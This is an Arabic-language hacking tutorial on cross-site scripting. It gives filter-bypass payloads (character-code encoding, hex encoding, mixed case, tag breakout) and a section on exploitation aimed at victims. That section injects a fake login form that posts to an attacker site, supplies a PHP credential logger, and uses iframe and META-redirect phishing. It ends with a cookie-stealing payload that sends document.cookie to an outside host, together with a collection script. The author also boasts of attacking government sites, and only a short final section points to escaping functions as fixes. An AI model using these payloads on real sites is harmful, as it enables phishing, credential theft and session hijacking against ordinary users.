[#] Title: Advanced XSS

[#] Author: BorN To K!LL – h4ck3r

[#] Contact: SQL@hotmail.co.uk

بسم الله الرحمن الرحيم

المقدمة

الحمدللهِ و الصلاةُ و السلامُ على رسولِ الله ، و على آلهِ و صحبهِ و التابعين لهم بإحسانٍ إلى يومِ الدين ، أما بعد ،،

فإن شاء الله في هذا الكتاب البسيط سنستعرض فيه ماهيةَ و كيفيةَ الـXSS ، سنأخذ إن شاء الله ماهية XSS بشكلٍ بسيط ، و كيفية تطبيقِ الأوامر ، و كيفية تخطي الفلترة ، و سأتطرق إلى كيفية إستغلال الثغرة ، مع العلم أن هذا الكتيب سيعطي أساسيات إستغلال هذا النوع من الثغرات ، و باللهِ التوفيق.

ماهية الـXSS

طبعاً كما هو معروفٌ عند الأغلب أن XSS هو إختصار لـ Cross Site Scripting ، و أيضاً يمكن تسميتها بـ CSS إختصاراً، و هي مرتبطة بالسكريبتات ، و تحديداً سكريبتات JavaScript ، و نستطيع من خلالها حقن أكوادنا الخاصة و تشغيلها من خلال المتصفح ، هناك نظرياً و فعلياً ثلاث أنواع لهذه الثغرة كما هو متداول في أغلب الكتب:

١. Reflected XSS
٢. Stored XSS
٣. DOM based

و فعلياً هذا الكلام نظري لا أحب أنْ أذكره ، لكن سأذكرهُ إحتراماً للكلام النظري و لكيفية تنسيق الكتيبات ، النوع الأول ما يسمى بـ Reflected XSS ، و يسمى بهذا الإسم عندما يكون الحقن بعد الرابط أو في مكان البحث ، النوع الثاني ما يسمى بـ Stored XSS ، و هو أن تحقن الكود المراد بالسكريبت المراد و يعمل هذا الكود مع كل زائر يزور السكريبت ، أما النوع الثالث و ما يسمى بـ Dom based سأبْسُطه بكتيب آخر إن شاء الله.

كيفية تطبيق الأوامر

بدايةً نتفق على أن السكريبت الذي نحقنه نسميه XSS Script حتى يسهل التواصل بيني و بين القارئ ، في البحث عن وجود الثغرة نبحث عن أماكن البحث غالباً ، دعونا نكتب سكريبت بسيط للبحث غير محمي و نرى كيفية تطبيق الأوامر عليه:

نفتح ملف و نسميه على سبيل المثال index.html و نكتب فيه ما يلي:

```
<html>
 <head>
 <title>BorN To K!LL - h4ck3r [XSS]</title>
 </head>
  <body>
   <form method="get" action="search.php">
   BorN To K!LL XSS code =) :
   <input type="text" name="h4ck3r" size="20" />
   <input type="submit" class="button" value="Submit" />
   </form>
 </body>
</html>
```

و نفتح ملف و نسميه على سبيل المثال search.php و نكتب فيه ما يلي:

```
<?php echo $_GET[h4ck3r]; ?>
```

في هذه الحالة عند فتح ملف index.html و تكتب مكان البحث ١١١ ، ستلاحظ أن نتيجة هي نفسها التي أدخلتها ، و ستلاحظ أن الرابط سيكون على الشكل التالي:

```
http://localhost/search.php?h4ck3r=111
```

لو أبدلنا القيمة التي أدخلناها بكود html ، سنكتب كود بسيط يمثل header لجملة بسيطة ، على سبيل المثال :

```
<h1>BorN To K!LL</h1>
```

ستلاحظ ظهور النتيجة على شكل header ، نستنتج من ذلك أن هذا السكريبت البسيط غير محمي من الأكواد ، بحيث ممكن أن نحقن كود javascript بسيط و سيعمل ، لو جربت الكود التالي:

```
<script>alert('BorN To K!LL');</script>
```

ستلاحظ أن الـ XSS Script سيعمل ، و في المثال السابق ستلاحظ ظهور رسالة مكتوباً عليها اسم BorN To K!LL ، مما يدل على إمكانة حقن XSS Script معيناً خاصاً بك ، و إذا لم يتم عمل الـ XSS Script فاعلمْ أن هناك سبب لعدم عمله ، و هذا يعني أن صاحب الموقع استخدم طريقةً للفلترة للبعد عن ثغرات الـ XSS ، و مع ذلك لا توجد أي نوع من الفلترة تقف أمام العقل البشري.

كيفية تخطي الفلترة

مع أن هناك ما يسمى بالفلترة ، و هي عائق أمام من يريد استخدام ثغرات الـ CSS ، لكن كما قلت أن ليس هناك أي شي يقف أمام العقل البشري ، يجب علينا أن نعرف الأسباب التي ساهمت لإعاقت حقن XSS Script ، و نعرف نوع الفلترة المستخدمة حتى نستطيع تخطيها ، هناك فعلياً أكثر من طريقة لتخطي الفلترة ، سأذكر بعضها:

١. طريقة التخطي إذا كان حالة magic_quotes_gpc مفعلة.
٢. طريقة التشفير بالـ Hex.
٣. طريقة تسمى Obfuscation.
٤. طريقة تسمى بأغلب الكتب بـTrying around.

نأتي إلى الحالة الأولى و هي إذا كان حالة magic_quotes_gpc مفعلة ، و هي خيار في php.ini ، و تسبب شطب كلاً من Single Quotation Mark و Double Quotation Mark و أيضاً Backslash ، و أشكالهم على الترتيب ' و " و \ ، و هذا يؤدي إلى إعاقة عمل XSS Script ، لأن اغلبها تحتوي على أكواد تحتوي هذه العلامات ، في هذه الحالة نستخدم دالة على الشكل التالي:

```
String.fromCharCode()
```

فقط ضع بين القوسين الكود المراد لكن حوله إلى ASCII و ضعه ، بمعنى لو شفرنا كلمة rules ستصبح على هذا الشكل 114,117,108,101,115 ، و ضعه داخل الدالة و ستصبح على هذا الشكل:

```
String.fromCharCode(114,117,108,101,115)
```

و استخدمها في أي مكانٍ شئت ، على سبيل المثال دعونا نستخدمها في رسالة التنبيه ، و ستكون على الشكل التالي:

```
<script>alert(String.fromCharCode(114,117,108,101,115))</script>
```

و احقنها كما ذكرنا ، هذا بالنسبة إذا كان حالة magic_quotes_gpc مفعلة ، أما بالنسبة إلى طريقة التشفير بالـ hex فهي سهله للغاية ، بكل بساطة شفر الـ XSS Script بالـ hex و احقنه بالشكل الطبيعي ، على سبيل المثال أريد أن أشفير التالي:

```
<script>alert(/h4ck3r/);</script>
```

فتصبح على الشكل التالي:

```
3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%68%34%63%6
B%33%72%2F%29%3B%3C%2F%73%63%72%69%70%74%3E
```

و احقنها بالشكل الطبيعي و سترى أنها تعمل ، أما بالنسبة للطريقة الثالثة و هي Obfuscation ، فهي أن تكون هناك كلمات معينة ممنوع استخدامها ، مثلاً أن تكون كلمة script ممنوعة ، أو مثلاً كلمة ()alert ممنوعة ، لكن هذا المنع يكون على أنها كلمة ، فبهذه الطريقة نوهم السكريبت أن كلمة script ليست هي script ، مضحك جداً لكن هذا الواقع ، فمثلاً كلمة script تصبح على سبيل المثال ScRiPt أو SCriPt أو scriPt ، و حقيقةً هذه الطريقة تدل على مدى غباء هذه الفلترة ، إذ كما قلت أنه ليس هناك شيء يقف أمام العقل البشري ، فاستخدم هذه الطريقة على كل كلمة تشك في أنها ممنوعة ، أو استخدمها على كل كلمة في XSS Script حتى لا تطيل في التجربة ، مثال على ذلك:

```
<ScRIPt>ALerT('123');</sCRipT>
```

و بالنسبة للطريقة الأخيرة التي سأذكرها و ما تسمى بـTrying around ، هذه الطريقة غالباً ما تستخدم عند حقن XSS Script في مكان البحث ، و تريد أن تضع كود html ، يجب أن تغلق الـ tag المستخدم و من ثم تبدأ بالـ tag المطلوب ، على سبيل المثال:

```
"> <script>alert();</script>
```

كما تلاحظ أغلقنا الـ tag المستعمل في البحث ، و من ثَمّ فتحنا tag آخر خاصاً لنا ، عموماً طرق التخطي كثيرة ، تختلف على حسب نوع الفلترة ، و على حسب الأسباب التي تؤدي إلى إعاقة حقن XSS Script ، نترك لك التجربة على حسب إبداعك.

كيفية إستغلال الثغرة

أغلب من يسمع عن ثغرات الـ XSS لا يعرف مدى أهميتها ، ولا يعرف حتى كيفية إستغلالها ، و السبب يعود أولاً إلى المكتشفين الجدد ، و همّهم الوحيد هو إكتشاف أكبر عدد ممكن من الثغرات من أي نوع كانت حتى يرفع رصيده من الإكتشافات ، و يعود السبب الثاني إلى مواقع السكيورتي التي تتيح لهؤلاء المكتشفين الجدد بإنزال ثغراتهم الغبية ، و الغريب بالموضوع أنهم يكتشفون ثغرات بسكريبتات معدومة الإستخدام ، بمعنى لو طلب منه أن يأتي بموقع فيه السكريبت المصاب لعجز ، و المفترض من مواقع السكيورتي أن تتأكد من كل ثغرة ، من حيث المواقع المصابة على الأقل ، و السبب الثالث هم المبتدئين ، بحيث أنهم لا يحاولون فهم أكثر ما هو في خفايا هذا النوع من الثغرات ، و يطبق الثغرة كأنها لعبة ، يظهر إشارة تنبيه فقط ! ، إن هذا لشيءٌ عجاب ! ، فينبغي قبل أن أبدأ بالشرح أن أنغز كل من يقرأ هذا الكتيّب حتى يستوعب و يأتي أكثر بتركيزه ، لأن هذا النوع من الثغرات عجيب ، و كلٌ له إبداعاته في هذا النوع من الثغرات ، فينبغي التركيز أكثر لهذا النوع من الثغرات ، لأني لاحظت غموض عند أكثر الناس حولها ، و بالله التوفيق.

كل ما سبق الكلام عنه هو مقدمة لهذا الباب ، و كل ما فات لن يضر أي شيءٍ كان ، لكن الآن سنتكلم عن الجانب الأسود من هذا النوع من الثغرات ، هناك طرق عديدة يمكن إستخدامها في الـ XSS ، سأذكر بعضها:

١. حقن XSS Script للـ Phishing.
٢. حقن XSS Script فيه iframe يعرض الصفحة الخاصة الـ Phishing.

٣. حقن XSS Script نستخدم فيه الـ Phishing بطريقة غير مباشرة.
٤. سحب الكوكيز.

في هذا الباب كلٌ له طريقته ، لكن سأذكر الأساسيات و أترك لك الإبداع ، نأتي إلى الطريقة الأولى و هي حقن XSS Script خاصاً لنا و نستخدمها للـ Phishing ، دعونا نذكر مثال بسيط ، لو أننا نريد سحب اليوزر و الباسوورد ، نكتب صفحة مزورة فيها مكان لإدخال اليوزر و الباسوورد ، و تجعل هذه الصفحة ترسل المدخلات إلى صفحة خاصة بك ، ثم نأخذ هذا الكود و نكتبه في قيمة البحث في الرابط ، على سبيل المثال:

```
http://localhost/search.php?h4ck3r=<html><body><head><meta content="text/html;
charset=utf-8"></meta></head><div style="text-align: center;"><form Method="POST"
Action="http://www.yoursite.com/h4ck3r.php">BorN To K!LL page<br /><br/>اليوزر
:<br /> <input name="User" /><br />الباسوورد: <br /> <input name="Password"
type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit"
/><br /></form></div></body></html>
```

في هذه الحالة ، نرفع على موقع خاص لنا ملف اسمه h4ck3r.php ، و نكتب فيه الكود الخاص لحفظ اليوزر و الباسوورد في ملف text ، على سبيل المثال:

```
<?php
$login = $_POST['user'];
$password = $_POST['Password'];
$open = fopen('log.txt', 'a+');
fputs($open, 'Username : ' . $login . '<br >' . '
Password : ' . $password . '<br >' . '<br >');
?>
```

و نرفع أيضاً ملف text خاصاً بنا و نسميه log.txt حتى تحفظ النتائج به ، و بذلك يتم سحب اليوزر و الباسوورد ، فمن هذا الباب كلٌ له صفحة خاصة به حتى يخدع فيها الضحية ، فأدع لك التجربة على حسب إبداعك.

بالنسبة للطريقة الثانية و هي حقن XSS Script فيه iframe يعرض الصفحة الخاصة بك للـ Phishing ، و هي مرتبطة بالطريقة التي قبلها ، لكن هذه الطريقة تختلف إختلاف بسيط ، التجهيز للصفحة التي تسحب اليوزر و الباسوورد سيكون على موقع خاصاً لك ، كما جهزنا بالسابق لكن هذه المرة ستكون على موقع خاص بك ، و من ثم نطبق كالتالي:

```
http://localhost/search.php?h4ck3r=<iframe
src="http://www.yoursite.com/h4ck3r.php" height="50%" width="50%"></iframe>
```

بهذه الطريقة سيتم إظهار iframe بالصفحة بحجم ٥٠×٥٠ ، و فيه الصفحة التي عملناها ، و هي مرتبطة بما قبلها كما تلاحظ ، فأدع لك التجربة على حسب إبداعك.

أما بالنسبة للطريقة الثالثة و هي حقن XSS Script نستخدم فيه الـ Phishing بطريقة غير مباشرة ، بمعنى أننا نكتب في الـ XSS Script كود META يحول صفحة إلى الصفحة التي فيها مكان السحب ، لو أن الضحية غبي لن يلاحظ تغيير الموقع ، أما إذا كان الضحية متمرس سيلاحظ تغيير الموقع ، عموماً مثالاً على ذلك للتوضيح:

```
http://localhost/search.php?h4ck3r=<META HTTP-EQUIV="refresh" CONTENT="0;
URL="http://www.yoursite.com">
```

فبهذه الطريقة سيتم تحويل الموقع إلى موقعك الذي فيه الصفحة الخاصة للسحب ، فعليك التفنن في كيفية تصميم الصفحة حتى توهم للضحية و تقنعه في إدخال البيانات ، فأدع لك التجربة على حسب إبداعك.

نأتي إلى الطريقة الرابعة و الأخيرة التي سأذكرها و هي سحب الكوكيز ، و سحب الكوكيز طريقته جميلة و سهله ، و لقد استمتع الناس بها على أيام ثغرة الهوتميل ، ما تلقب بثغرة الـ Hotmail XSS ، لكن هذه الثغرة على حسب ظني أنها لا تنفع الآن ، لأن الكوكيز يأتي ناقصاً فلا تستفيد منه ، و سمعت من بعض الناس أن لديهم طريقة لسحب الكوكيز كاملاً ، ولكن لم أحصل على أي معلومة من ذلك ، عموماً في هذه الطريقة نتحاج إلى عدة أشياء:

- مساحة في موقع خاصاً بك.
- سكريبت لسحب الكوكيز.
- حقن كود Javascript مع السكريبت المعد لسحب الكوكيز في الموقع المصاب.

محتويات السكريبت لحسب الكوكيز:

h4ck3r.php

```
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>
```

انشئ ملف text اسمه log.txt و ارفعه هو و سكريبت الخاص لسحب الكوكيز معاً في موقع الخاص بك في نفس المجلد ، و اعطهم تصريح ٧٧٧ ، بعد ذلك نكتب الـ XSS Script ، و سيكون على الشكل التالي:

```
http://localhost/search.php?h4ck3r=<script>location.href =
'http://yoursite.kw.com/h4ck3r.php?cookie='+document.cookie;</script>
```

في هذه الحالة ، فكر كيف أن تجعل الضحية يزور هذا الرابط المخيف ، تستطيع أن تجعله كـHyper Link مسمى ، أو تستخدم META و تحول الضحية إلى الصفحة ، لك إبداعك في هذا المجال ، أدع لك التجربة على حسب إبداعك.

إرشادات في كيفية إغلاق الثغرة

طبعاً في هذا الكتاب أنا شرحت أساسيات الثغرة ، و هذا يعني أنك قد لا تلاحظ خطورتها ، لكن في الحقيقة هي خطيرة للغاية ، و أنا أسقطت بعض المواقع الحكومية بهذه الثغرة ، و الأغلب من رأى ثغرة Hotmail XSS لاحظ مدى خطورتها ، مع ذلك كيفية إغلاق الثغرة سهل للغاية ، مع خطورتها إلا أن إغلاقها سهل ، و يحب على كل من له في مجال البرمجة أن يهتم إلى كيفية إغلاق الثغرات ، حتى لا ترى ضعاف النفوس من الهكرزية المبتدئين يخترق كل شي أمامه كأنه آفه – نسأل الله العافية - ، هذه بعض الروابط لبعض الدوال التي تفيدك في كيفية إغلاق الثغرة:

- http://php.net/manual/de/function.htmlspecialchars.php
- http://php.net/manual/de/function.htmlentities.php

الخلاصة

في هذا الكتاب البسيط شرحت أساسيات ثغرة الـ XSS ، و التي هي مجهولة عند أكثر المبتدئين ، لكن اعلم أن لهذه الثغرة أثر كبير في الإختراقات ، و أن المجال لا يقتصر على ما شرحت ، لأن الشرح في هذا النوع من الثغرات غير معيّن ولا مخصص في طريقة معينه ، إلا أنني شرحت الأساسيات التي منها تنطلق ، لله الحمد تكلمنا عن الثغرة ، و كيفية تطبيق الأوامر ، و كيفية تخطي الفلترة ، و كيفية إستغلال الثغرة ، مع بعض الروابط لبعض الدوال التي تساعدك في كيفية إغلاق الثغرة.

و قد عزمت أن أكتب هذا الكتيّب البسيط حتى يزيد عند المبتدئين و عند المتوسطين الإهتمام الكافي لها ، على حسب جهدي الكافي البسيط ، و على حسب علمي البسيط ، لست متمركزاً كفاية لكني شرحت ما أعرفه ، فإن أصبت فذلك من الله ، و إن كانت الأخرى فمن نفسي و من الشيطان ، راجين الله – عز و جل – أن يزيدنا من فضله الكريم ، و بالله التوفيق.